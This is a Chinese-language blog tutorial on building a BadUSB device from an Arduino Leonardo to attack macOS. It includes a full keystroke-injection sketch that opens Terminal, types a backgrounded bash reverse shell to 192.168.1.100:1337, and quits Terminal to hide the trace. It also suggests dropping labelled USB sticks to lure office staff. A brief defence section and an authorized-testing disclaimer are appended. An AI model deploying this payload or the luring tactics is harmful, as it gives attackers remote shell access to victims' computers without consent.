Badusb 攻击之 MacOSX 系统实战

Badusb 已经出现了很多年,使用 usb 进行攻击的手段也从最初的利用 autorun.inf、伪造文件夹名、快捷方式等手段转为更加难以防御的 Badusb。这种攻击方式就是目前可绕过杀毒软件,防御较难。

点此打开观看一段演示视频,需 fq。

利用场景

说下本文中利用场景:

  1. 混入企业内部,员工电脑未锁屏的情况下。在之前去过很多客户那里,大多数企业的员工离开电脑前不锁屏的情况, 而且非常严重。
  2. 对于无安全意识的员工进行攻击,如公司文员、前台、行政等,例如将 usb 贴上保密、照片等字样,并扔到显眼位置,以吸引人来捡并插入其电脑。

针对 Badusb 攻击手段还有很多,利用场景也还有,这里仅列出与本文有关的部分。下面就让我们正式开始进入制作。

准备工作

硬件

  • Arduino Leonardo 淘宝上直接搜索 Badusb,有很多卖的,价格都比较便宜。

软件

  • Arduino IDE 官网下载地址:https://www.arduino.cc/en/Main/Software
  • 免杀木马,我这里 macos 下直接用的反弹 shell,windows 下使用的是免杀的 meterpreter,payload 为 reverse_tcp。由于免杀不是本文重点,请自行制作。

基础知识

Badusb 属于 HID 注入攻击的一种形式。HID 是 Human Interface Device 的缩写,HID 设备是直接与人交互的设备,例如键盘、鼠标与游戏杆等。不过 HID 设备并不一定要有人机接口,只要符合 HID 类别规范的设备都是 HID 设备。今天使用的 Arduino Leonardo 板子主要是一款键盘注入工具,除此之外还有 WIFI 版的(通过链接 wifi,然后发起攻击)、伪装为充电线的(USB-C)。目前,前者成本较低,后者成本较高。有国外安全研究人员有在售卖 USB Cable。有一些手机也支持用来进行 hid 注入攻击。比如 GOOGLE NEXUS 手机,刷入 kali nethunter 系统即可,在淘宝上可以购买到二手手机,成本只要 300 左右。

安装好 arduino ide 后,插入 Arduino Leonardo 板子,打开 arduino ide,选择【工具】-【开发版】-【Arduino Leonardo】。

接下来就开始编写攻击代码了。默认显示的代码如下:

void setup() {

}

void loop() {

}

setup 函数主要是安装时运行的代码,loop 函数为重复执行的代码。一般我们都写入到 setup 函数中。
代码的语法并不多,主要有:

#include <Keyboard.h> 这里是包含 Keyboard.h 文件,该文件里定义了一些按键常量。

Keyboard.begin(); 开始键盘通讯
delay(100); 延迟执行,单位是毫秒
Keyboard.press() 按下某个按键
Keyboard.release() 松开某个按键
Keyboard.end(); 结束键盘通讯

这里需要注意的是,不同的板子语法会有不同和差异。

ascii 对应键值表:

(图片来源:https://zhuanlan.zhihu.com/p/28194271)

实战攻击

好了,有了如上基础,我们可以来实战攻击了。网上的代码总有一些问题,导致实际的成功率并不高。所以我对其进行了加强。
执行流程:

  1. 打开 聚焦搜索
  2. 搜索终端terminal
  3. 打开终端
  4. 执行bash
  5. 执行反弹 shell 代码
  6. 切换输入法
  7. 再次执行反弹 shell 代码
  8. 退出终端。

采用如上的流程,主要考虑到如下了几种情况来,从而提高其代码执行的成功率。

  1. mac 系统是类 unix 系统,区分大小写。
  2. 不同的 mac 版本系统,以及使用者设置的习惯不同
  3. 如何让反弹 shell 代码在后台执行,并隐藏终端窗口。

具体的实现可看代码

代码下载:https://bigyoung.lanzouw.com/iVFytztakgf 密码:5b8t

脚本代码:

#include <Keyboard.h>

void setup() {
 Keyboard.begin();
  delay(3000);
  Keyboard.press(KEY_LEFT_GUI);
  delay(30);
  Keyboard.press(32);
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.release(32);
  delay(100);
  Keyboard.println("terminal");  
  delay(2000); 
  Keyboard.press(KEY_RETURN);
  delay(100); 
  Keyboard.release(KEY_RETURN);
  delay(500);
  Keyboard.println("bash"); 
  delay(100);
  Keyboard.press(KEY_RETURN);
  delay(100);
  Keyboard.release(KEY_RETURN);
  delay(100);
  Keyboard.println("nohup bash -i >& /dev/tcp/192.168.1.100/1337 0>&1 &");
  delay(100);
  Keyboard.press(KEY_RETURN);
  delay(100);
  Keyboard.release(KEY_RETURN);
  delay(100);
  Keyboard.press(32);
  delay(100);
  Keyboard.release(KEY_CAPS_LOCK);   
  delay(100);
  delay(100);
  Keyboard.press(KEY_LEFT_CTRL);   
  delay(100);
  Keyboard.press(32);
  Keyboard.release(KEY_LEFT_CTRL);
  delay(100);
  Keyboard.release(32);
  delay(100);
  Keyboard.println("nohup bash -i >& /dev/tcp/192.168.1.100/1337 0>&1 &");
  delay(100);
  Keyboard.press(KEY_RETURN);
  delay(100);
  Keyboard.release(KEY_RETURN);
  Keyboard.press(KEY_LEFT_GUI);
  delay(100);
  Keyboard.press('q');
  delay(100);
  Keyboard.release('q');
  Keyboard.release(KEY_LEFT_GUI);
  delay(1000);
  Keyboard.press(KEY_RETURN);
  delay(100);
  Keyboard.release(KEY_RETURN);
  Keyboard.end();
}
void loop() {
  }

代码注释写的很清楚来,也不难。写完代码后,我们可以点击验证(左上角对号)验证代码是否有语法错误。点击上传,ide 会自动编译并上传代码到开发板中。成功后会直接执行我们的代码。测试在本机执行后,就可以到其机器上运行了。

Badusb 防御

  1. Google 开源的 badusb 防御产品 ukip,地址:https://github.com/google/ukip 。原理主要是监测按键键入的时间,并且自动判断是否为恶意攻击。
  2. 在测试过程中,windows10 系统会识别一些恶意的 usb 固件。建议开启 windows defender。当然这种也并不保险。
  3. 对来历不明的 usb 设备,请慎重插入到电脑上(建议不插到电脑上)。
  4. 当然网络上也有设置组策略的方式进行阻止,以及禁用 usb 口来防御。这里具体看企业自身情况进行设置。具体配置方法自行搜索吧。

总结

Badusb 的优点是杀毒软件无法查杀和拦截,但是其缺点也很明显,就是键盘输入的过程会在界面上有短暂的显示。每种攻击手法并不是万能的,只是一种手段,根据攻击场景不同,选择合适的攻击手段最终达到完美的攻击,这是我们所需要追求的。

关于 Badusb 的攻击这仅仅只是一种,还有更多的攻击方法,感兴趣的可以自行搜索学习。还有很多有趣的玩法。对于文中的问题,欢迎与我讨论交流。

参考链接

  1. https://zhuanlan.zhihu.com/p/28194271
  2. https://baike.baidu.com/item/USB-HID/3074554

注:本文仅做为研究,文中所提到的代码及攻击方式,仅用于企业内部安全测试与授权测试中。请勿将其用于非法渗透中,否则造成的一切后果与本人无关。

原文地址 bacde.me

文章作者:  BigYoung
版权声明:  本网站所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 BigYoung !



z